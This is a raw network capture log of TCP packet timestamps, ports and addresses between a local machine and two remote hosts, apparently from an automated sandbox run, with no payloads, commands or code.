Nov 23, 2024 03:21:15.495186090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.495229006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.497236967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.497247934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.497257948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.497281075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.497293949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.497376919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.498097897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.498143911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.498250961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.498610973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.499248981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.499394894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.499434948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.500386000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.500524998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.500567913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.501574993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.501588106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.501621008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.502598047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.502760887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.502811909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.503741026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.503783941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.503882885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.504926920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.504971027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.505076885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.506046057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.506098986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.506195068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.506233931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.507261038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.507412910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.507456064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.508459091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.508470058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.508512974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.509622097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.509632111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.509669065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.509692907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.510600090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.510772943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.510814905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.511776924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.511889935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.511939049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.511960030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.512001991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.512037039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.513088942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.513134956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.513147116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.513623953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.514215946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.514267921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.514331102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.514373064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.515343904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.518611908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.619091988 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:15.623203039 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:15.623250008 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:15.623667955 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:15.623684883 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:15.657196999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.657227993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.657293081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.657717943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.657809973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.657855988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.658615112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.658736944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.658765078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.658808947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.659742117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.659790039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.659868002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.659912109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.660873890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.660918951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.660969019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.661020041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.662000895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.662045956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.662106991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.662152052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.663146973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.663193941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.663252115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.663292885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.664295912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.664344072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.664381027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.664423943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.665420055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.665466070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.665529013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.665572882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.666579008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.666623116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.666678905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.666723967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.667705059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.667767048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.667797089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.667840004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.668839931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.668889046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.668936968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.668984890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.669975996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.670027018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.670063019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.670108080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.671124935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.671170950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.671257019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.671302080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.672261953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.672307014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.672369957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.672413111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.673388004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.673445940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.673481941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.673525095 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.674526930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.674571991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.674623966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.674668074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.675673962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.675723076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.676451921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.676498890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.679297924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.679307938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.679322958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.679337978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.679348946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.679378033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.680025101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.680072069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.680212021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.680255890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.681248903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.681294918 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.681390047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.681432962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.682284117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.682328939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.682557106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.682602882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.683487892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.683538914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.683635950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.683684111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.684636116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.684679985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.684772015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.684814930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.684822083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.684866905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.684891939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.684936047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.685960054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.686008930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.686052084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.686098099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.687076092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.687119961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.687174082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.687216997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.688196898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.688263893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.688308001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.688350916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.689352036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.689397097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.689467907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.689512014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.690473080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.690532923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.690591097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.690635920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.691618919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.691664934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.691745996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.691793919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.692779064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.692825079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.692858934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.692902088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.693891048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.693933010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.694003105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.694046021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.695030928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.695075035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.695143938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.695188046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.696178913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.696242094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.696279049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.696321964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.697319031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.697366953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.697397947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.697442055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.698452950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.698524952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.698554039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.698610067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.699582100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.699630976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.699717999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.699757099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.700722933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.700772047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.700834036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.700880051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.701880932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.701929092 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.701971054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.702014923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.705564022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.705611944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.705698967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.705709934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.705719948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.705743074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.705773115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.706269979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.706280947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.706315994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.707411051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.707458973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.707536936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.707581997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.708472967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.708528042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.708662987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.708708048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.709636927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.709683895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.709772110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.709811926 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.710820913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.710869074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.710968971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.711008072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.711926937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.711971045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.712043047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.712086916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.713078976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.713089943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.713126898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.714200020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.714250088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.714334965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.714379072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.715445042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.715456009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.715488911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.715502977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.716464043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.716506958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.716650963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.716694117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.717586994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.717636108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.858489990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.858545065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.858653069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.859047890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.859102964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.859167099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.860188961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.860244989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.860280991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.861332893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.861372948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.861383915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.861634016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.862459898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.862577915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.862595081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.862613916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.863607883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.863657951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.863718987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.863765001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.864756107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.864856958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.864903927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.865895033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.866023064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.866077900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.867029905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.867173910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.867238998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.868161917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.868211031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.868247986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.868297100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.869294882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.869365931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.869396925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.869441986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.870430946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.870507002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.870534897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.870614052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.871581078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.871699095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.871757030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.872806072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.872914076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.872965097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.873883009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.873931885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.873967886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.874254942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.874994993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.875082970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.875093937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.875149965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.876138926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.876188040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.876245022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.876286983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.877262115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.877362013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.877377033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.877427101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.878401041 CET	80	49760	31.41.244.11	192.168.2.4
